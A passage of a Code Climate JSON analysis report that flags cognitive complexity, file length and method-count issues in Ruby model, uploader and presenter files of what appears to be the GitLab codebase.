refactoring.","fingerprint":"4a5e7733302a5f59e7878ab40f6b9f82","location":{"path":"app/models/application_setting.rb","lines":{"begin":232,"end":309}},"other_locations":[],"remediation_points":1824000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `base_commit_sha` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"70d6880ba8e52f184e9eaf896119e352","location":{"path":"app/models/compare.rb","lines":{"begin":50,"end":56}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `commit.rb` has 355 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"c361e4106ded93f757f69964f420b067","location":{"path":"app/models/commit.rb","lines":{"begin":4,"end":508}},"other_locations":[],"remediation_points":2712000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `order_by` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8c4e54c836dbfddf9329a85f83378cb5","location":{"path":"app/models/commit.rb","lines":{"begin":63,"end":75}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `uri_type` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ac39422eaa05c0e3880afe76c6341f18","location":{"path":"app/models/commit.rb","lines":{"begin":425,"end":435}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Commit` has 68 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"e2175bec55ffd09f5d7b2352b5c5dcad","location":{"path":"app/models/commit.rb","lines":{"begin":4,"end":508}},"other_locations":[],"remediation_points":6000000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `merge_request.rb` has 897 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"59d143493fc6a1f49dd6ff46bba4459f","location":{"path":"app/models/merge_request.rb","lines":{"begin":3,"end":1238}},"other_locations":[],"remediation_points":10516800,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_branches` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"95d0d3fa4206c77bab101daf5035ee18","location":{"path":"app/models/merge_request.rb","lines":{"begin":511,"end":524}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_fork` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"68cf8c7f9bbbebf2133c22434d2bcae9","location":{"path":"app/models/merge_request.rb","lines":{"begin":532,"end":539}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `mergeable_state?` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bdc249b8456dc07607ba4fe001ff1261","location":{"path":"app/models/merge_request.rb","lines":{"begin":677,"end":685}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `cache_merge_request_closes_issues!` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bcd9dc4beba740e5c019b9c760cacdd3","location":{"path":"app/models/merge_request.rb","lines":{"begin":769,"end":782}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `compare_test_reports` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b662bb8a5b01a77feb8b7b0a9ffefdb2","location":{"path":"app/models/merge_request.rb","lines":{"begin":1041,"end":1054}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `mergeable_with_quick_action?` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"74fd9deeffa5589190ba744e4af78384","location":{"path":"app/models/merge_request.rb","lines":{"begin":1177,"end":1187}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `MergeRequest` has 137 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"417a10e5eb9495ae2d250b8c195971f7","location":{"path":"app/models/merge_request.rb","lines":{"begin":3,"end":1238}},"other_locations":[],"remediation_points":12900000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this method.","location":{"path":"app/models/merge_request.rb","lines":{"begin":682,"end":682}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"ac1600795e5aff84e3d4e9243b88bdbc"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this method.","location":{"path":"app/models/merge_request.rb","lines":{"begin":1184,"end":1184}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"4cc86fde220f02f2e1c1443c9c96fe93"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `member.rb` has 297 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"ead9a1c0eaecbe741f755dd85ef04b38","location":{"path":"app/models/member.rb","lines":{"begin":3,"end":419}},"other_locations":[],"remediation_points":1876800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `retrieve_member` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9cf98664280114d55fe07fc00a2931f4","location":{"path":"app/models/member.rb","lines":{"begin":236,"end":248}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Member` has 41 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"5c62b78b2bb4b49f04e64fa24a5e7525","location":{"path":"app/models/member.rb","lines":{"begin":3,"end":419}},"other_locations":[],"remediation_points":3300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `set` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8869fa571b5fb7a617adc0197c7ac362","location":{"path":"app/models/active_session.rb","lines":{"begin":20,"end":50}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `count_to_display_commit_in_center` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b411aa7c155fd11004316e7fd39fd0f0","location":{"path":"app/models/network/graph.rb","lines":{"begin":79,"end":107}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `place_chain` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"177c4e2e8eb1351747941148b8c5841f","location":{"path":"app/models/network/graph.rb","lines":{"begin":180,"end":216}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `take_left_leaves` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"07eb1c8a024e1084d5249e442c56ead6","location":{"path":"app/models/network/graph.rb","lines":{"begin":263,"end":277}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `place_chain` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d89c4cb61eca0dac9322942ca4b87aff","location":{"path":"app/models/network/graph.rb","lines":{"begin":180,"end":216}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `save_diffs` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c6b7ee6cba58c9eb3d9ad5eed75d6ec3","location":{"path":"app/models/merge_request_diff.rb","lines":{"begin":272,"end":296}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `MergeRequestDiff` has 33 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"d7a32bf8ffc7cc2cb0b417114258fc44","location":{"path":"app/models/merge_request_diff.rb","lines":{"begin":3,"end":322}},"other_locations":[],"remediation_points":2500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `object_storage.rb` has 315 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"86494fa0d557a4aa389e5171896783dc","location":{"path":"app/uploaders/object_storage.rb","lines":{"begin":3,"end":458}},"other_locations":[],"remediation_points":2136000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `changed_mounts` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fd0a4f3d9448639f581ace634e78fb9f","location":{"path":"app/uploaders/object_storage.rb","lines":{"begin":113,"end":124}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `workhorse_remote_upload_options` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e022c746daf5a42b94b0696cad68db33","location":{"path":"app/uploaders/object_storage.rb","lines":{"begin":191,"end":201}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `unsafe_migrate!` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1684da513e48bc7fed9d7d05f006f4f3","location":{"path":"app/uploaders/object_storage.rb","lines":{"begin":415,"end":442}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `record_upload` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7714f01e58a6f57d5612758293fdcd98","location":{"path":"app/uploaders/records_uploads.rb","lines":{"begin":22,"end":32}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `open` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e3420c6ebb4c5709171dfe0ad626a693","location":{"path":"app/uploaders/gitlab_uploader.rb","lines":{"begin":78,"end":94}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `FileUploader` has 25 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"377d9736f93da216ab2620478b97b6a7","location":{"path":"app/uploaders/file_uploader.rb","lines":{"begin":11,"end":200}},"other_locations":[],"remediation_points":1700000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ci_status` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0ecf5e5baa621e39be46cda7a6b7e79a","location":{"path":"app/presenters/merge_request_presenter.rb","lines":{"begin":13,"end":23}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `MergeRequestPresenter` has 29 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"8382c7b1054d55cea9b796fc549636ad","location":{"path":"app/presenters/merge_request_presenter.rb","lines":{"begin":3,"end":231}},"other_locations":[],"remediation_points":2100000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `cards` has 79 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"56c716082acebaebac8f5817c4770ff3","location":{"path":"app/presenters/conversational_development_index/metric_presenter.rb","lines":{"begin":5,"end":85}},"other_locations":[],"remediation_points":1896000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `idea_to_production_steps` has 52 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"3ec38351e7aae7c1eb1bbf782da34f4f","location":{"path":"app/presenters/conversational_development_index/metric_presenter.rb","lines":{"begin":87,"end":140}},"other_locations":[],"remediation_points":1248000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `project_presenter.rb` has 312 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"d892daae824d8e78fe2a0b68c288acda","location":{"path":"app/presenters/project_presenter.rb","lines":{"begin":3,"end":370}},"other_locations":[],"remediation_points":2092800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `default_view` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d66dbcb27efcacaf84388d8cfc5f690f","location":{"path":"app/presenters/project_presenter.rb","lines":{"begin":64,"end":80}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `readme_anchor_data` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c40df23b551a8abe9f2d5830edfbf472","location":{"path":"app/presenters/project_presenter.rb","lines":{"begin":221,"end":231}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `autodevops_anchor_data` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider 